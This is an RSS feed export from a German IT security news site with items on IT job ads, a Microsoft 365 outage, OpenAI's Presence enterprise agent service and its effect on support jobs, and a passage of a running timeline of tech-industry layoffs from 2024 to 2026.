<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=deploying+azure+cicd+with%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Thu, 30 Jul 2026 20:59:34 +0200</lastBuildDate>
<pubDate>Thu, 30 Jul 2026 20:59:34 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>

<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=deploying+azure+cicd+with%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Anzeige: IT-Jobs in Support, Administration und Entwicklung]]></title>
<description><![CDATA[Von Microsoft-365-Support bis zur Teamleitung in der Azure-Cloud: Diese sechs IT-Jobs bieten vielseitige Aufgaben zu guten Konditionen. (Golem Karrierewelt, Unternehmenssoftware)]]></description>
<link>https://tsecurity.de/de/3695173/it-nachrichten/anzeige-it-jobs-in-support-administration-und-entwicklung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695173/it-nachrichten/anzeige-it-jobs-in-support-administration-und-entwicklung/</guid>
<pubDate>Sun, 26 Jul 2026 07:15:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Von Microsoft-365-Support bis zur Teamleitung in der Azure-Cloud: Diese sechs IT-Jobs bieten vielseitige Aufgaben zu guten Konditionen. (<a href="https://www.golem.de/specials/golemakademie/">Golem Karrierewelt</a>, <a href="https://www.golem.de/specials/unternehmenssoftware/">Unternehmenssoftware</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211259&amp;page=1&amp;ts=1785042002" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Wartungsfehler führte zum M365-Ausfall am 23.7.2027]]></title>
<description><![CDATA[Am 23. Juli 2026 kam es zu einer größeren Störung der Microsoft 365-Dienste. Die Störung begann am Donnerstag, dem 23. Juli, um 10:44 Uhr ET und betraf vor allem Kunden, die über eine mit der Azure-Region „West US" von Microsoft … Weiterlesen →
Quelle]]></description>
<link>https://tsecurity.de/de/3694927/it-nachrichten/wartungsfehler-fuehrte-zum-m365-ausfall-am-2372027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694927/it-nachrichten/wartungsfehler-fuehrte-zum-m365-ausfall-am-2372027/</guid>
<pubDate>Sat, 25 Jul 2026 22:30:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Am 23. Juli 2026 kam es zu einer größeren Störung der Microsoft 365-Dienste. Die Störung begann am Donnerstag, dem 23. Juli, um 10:44 Uhr ET und betraf vor allem Kunden, die über eine mit der Azure-Region „West US" von Microsoft … <a href="https://borncity.com/blog/2026/07/25/wartungsfehler-fuehrte-zum-m365-ausfall-am-23-7-2027/">Weiterlesen <span class="meta-nav">→</span></a>
<p><a href="https://borncity.com/blog/2026/07/25/wartungsfehler-fuehrte-zum-m365-ausfall-am-23-7-2027/" rel="nofollow">Quelle</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3694769/ai-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694769/ai-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200684/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



